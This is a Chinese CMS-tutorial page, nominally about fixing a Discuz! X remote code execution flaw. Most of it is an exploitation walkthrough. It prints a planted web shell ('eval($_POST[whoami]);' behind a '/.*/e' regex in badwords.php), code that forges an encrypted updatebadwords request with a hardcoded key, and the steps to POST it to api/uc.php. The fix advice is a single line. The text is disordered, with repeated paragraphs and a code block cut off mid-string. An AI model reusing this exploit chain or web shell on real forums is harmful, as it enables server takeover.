您现在的位置是:首页 > cms教程 > Discuz教程Discuz教程
Discuz! X系列远程代码执行漏洞的修复方法
映易2025-07-04Discuz教程已有人查阅
导读突然有同事反馈,无法注册看到这里不了解的同行估计一年懵逼,这里也是常用的漏洞攻击,可以肯定的是 badwords.php文件被修改了 ,可以查看这个文件内容
一、漏洞起源
突然有同事反馈,无法注册看到这里不了解的同行估计一年懵逼,这里也是常用的漏洞攻击,可以肯定的是 badwords.php文件被修改了 ,可以查看这个文件内容
二、漏洞根源
这个问题的根源在于api/uc.php文件中的updatebadwords方法,代码如下:
这里用user来举例,在uc_client/model/user.php文件中有一个check_usernamecensor方法,来校验用户名中是否有badwords,如果有的话就将他替换掉,代码如下:
我们在后台中站长->UCenter设置中发现有“UCenter 通信密钥”这个字段,这是用于操控discuz和uc连接的app key,而非高级的uc_server key,不过对于我们getshell来说足够了。在这里修改为任意值,这样我们就获取到了加密用的key值了。
可以看下配置文件,秘钥已经发生变化文件路径为:config/config_ucenter.php然后我们在自己搭建的discuz的api/uc.php文件中添加两行代码,来加密get请求所需要的内容:
1、影响范围个人评价为“高”,Discuz! X系列使用范围极广
2、这个漏洞不只是单纯的后台代码执行,在uc_app key泄露的情况下也是可以利用的防护方案限制用户提交正则表达式的内容不允许这用就对了。
突然有同事反馈,无法注册看到这里不了解的同行估计一年懵逼,这里也是常用的漏洞攻击,可以肯定的是 badwords.php文件被修改了 ,可以查看这个文件内容
<?php
$_CACHE['badwords'] = array (
'findpattern' =>
array (
'balabala' => '/.*/e',
),
'replace' =>
array (
'balabala' => 'eval($_POST[whoami]);',
),
);
果然这里被篡改了这个文件路径在:uc_client/data/cache/badwords.php正常的文件内容为
<?php
$_CACHE['badwords'] = array (
);
首先需要做的是把这个文件改回来,然后堵住漏洞二、漏洞根源
这个问题的根源在于api/uc.php文件中的updatebadwords方法,代码如下:
function updatebadwords($get, $post) {
global $_G;
if(!API_UPDATEBADWORDS) {
return API_RETURN_FORBIDDEN;
}
$data = array();
if(is_array($post)) {
foreach($post as $k => $v) {
$data['findpattern'][$k] = $v['findpattern'];
$data['replace'][$k] = $v['replacement'];
}
}
$cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';
$fp = fopen($cachefile, 'w');
$s = "
badwords用的地方比较少,主要集中在uc的pm和user模块中。这里用user来举例,在uc_client/model/user.php文件中有一个check_usernamecensor方法,来校验用户名中是否有badwords,如果有的话就将他替换掉,代码如下:
function check_usernamecensor($username) {
$_CACHE['badwords'] = $this->base->cache('badwords');
$censorusername = $this->base->get_setting('censorusername');
$censorusername = $censorusername['censorusername'];
$censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';
$usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username;
if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {
return FALSE;
} else {
return TRUE;
}
}
可以看到代码中使用了preg_replace,那么如果我们的正则表达式写成“/.*/e",就可以在使用这个方法的地方进行任意代码执行了。而这个方法在disucz中,只要是添加或者修改用户名的地方都会用到。
三、漏洞利用
首先我们们访问api/uc.php,之后我们会发现uc处理机制中比较讨厌的环节--用户传递的参数需要经过UC_KEY加密:
if(!defined('IN_UC')) {
require_once '../source/class/class_core.php';
$discuz = C::app();
$discuz->init();
require DISCUZ_ROOT.'./config/config_ucenter.php';
$get = $post = array();
$code = @$_GET['code'];
parse_str(authcode($code, 'DECODE', UC_KEY), $get);
所以这里需要有个前提,需要知道UC_KEY或者可以操控UC_KEY。那么问题来了,我们要怎么达到这个前提呢?我们在后台中站长->UCenter设置中发现有“UCenter 通信密钥”这个字段,这是用于操控discuz和uc连接的app key,而非高级的uc_server key,不过对于我们getshell来说足够了。在这里修改为任意值,这样我们就获取到了加密用的key值了。
可以看下配置文件,秘钥已经发生变化文件路径为:config/config_ucenter.php然后我们在自己搭建的discuz的api/uc.php文件中添加两行代码,来加密get请求所需要的内容:
$a = 'time='.time().'&action=updatebadwords';
$code = authcode($a, 'ENCODE', 'R5vcQ374u2C2W6K7V7r9u1T7P6f9F5o2ObW6x1X0OeY7bfv5Mag4Yb6bf658D0d5');
echo $code;
exit;
然后用post方法向api/uc.php发送带有正则表达式信息的xml数据包,请求头中有两个地方需要注意,一个是formhash,一个是刚才获取的code需要进行一次url编码发送后可以发现uc_client/data/cache目录下的badwords.php内容就变了:
<?php
$_CACHE['badwords'] = array (
'findpattern' =>
array (
'balabala' => '/.*/e',
),
'replace' =>
array (
'balabala' => 'eval($_POST[whoami]);',
),
);
之后利用方法就有很多种了,可以通过增加一个用户来实现代码执行,也可以通过发消息的方式来触发,或者用户注册 四、总结漏洞小结1、影响范围个人评价为“高”,Discuz! X系列使用范围极广
2、这个漏洞不只是单纯的后台代码执行,在uc_app key泄露的情况下也是可以利用的防护方案限制用户提交正则表达式的内容不允许这用就对了。
本文标签:
很赞哦! ()
图文教程
Discuz开源代码结构小分析
右图是DiscuzNt(以下简称DZ)开源代码的方案结构20个项目,看上去好像很庞大,现在我们来分析一下它的层次,从本人的个人分析角度上看discus是比较典型的应用三层架构
ASP.NET网站与Discuz论坛整合的方法实例
1.引入5个DLL到项目中3.如果想从 .domainname.xxx和bbs.domainname.XXX同步还得设置一下config\general.config
discuz X3.1分表和分表数据迁移的操作方法
// forum_thread 分表代码片段 -- 帖子列表{// 定位某个板块的帖子落在哪个表(forum_thread_0)
discuz数据库表作用介绍说明
discuz 数据表对照cdb_access 用户权限表cdb_adminactions 管理动作表cdb_admingroups 管理组数据表
相关源码
-
(自适应)科技产品设备技术作品pbootcms网站模板带下载和招聘基于PbootCMS内核开发的高端科技企业模板,采用响应式布局技术,适配各类移动终端设备。模板设计聚焦科技行业特性,通过模块化结构实现企业形象展示、技术成果发布与人才招募等核心需求查看源码 -
自适应html5二极管LED灯具灯饰类企业网网站模板该PbootCMS内核开发的响应式模板专为LED照明、灯具制造类企业设计,通过HTML5技术实现手机与PC端自适应显示,确保跨设备访问体验一致。企业可快速替换图文内容适配其他工业领域查看源码 -
(自适应)html5宽屏电线电缆材料加工制造类企业网站源码下载本模板基于PbootCMS系统开发,特别适合电线电缆、电缆材料及相关加工制造类企业使用。采用HTML5宽屏设计,能够展示各类电缆产品的技术参数和规格详情,帮助客户全面了解产品特性。查看源码 -
PbootCMS(自适应手机端)智能电话AI机器人网站模板产品概述基于PbootCMS内核开发的智能电话AI机器人网站模板,为语音交互服务场景设计,采用HTML5+CSS3响应式布局技术,实现PC端与移动端数据实时同步展示。模板适用于智能电话查看源码 -
(自适应)工业机械制造设备网站pbootcms模板下载为机械制造、工业设备类企业设计,特别适合各类机械设备、生产线、工业自动化产品展示。采用响应式技术,确保在不同设备上都能清晰展示机械产品的技术参数和细节特点。查看源码 -
(响应式H5)帝国cms7.5文章新闻博客模板带会员中心本模板基于帝国CMS内核开发,为新闻资讯、个人博客及作品展示类网站设计。采用响应式布局技术,确保在手机、平板和电脑等不同设备上都能获得良好的浏览体验。查看源码
| 分享笔记 (共有 篇笔记) |
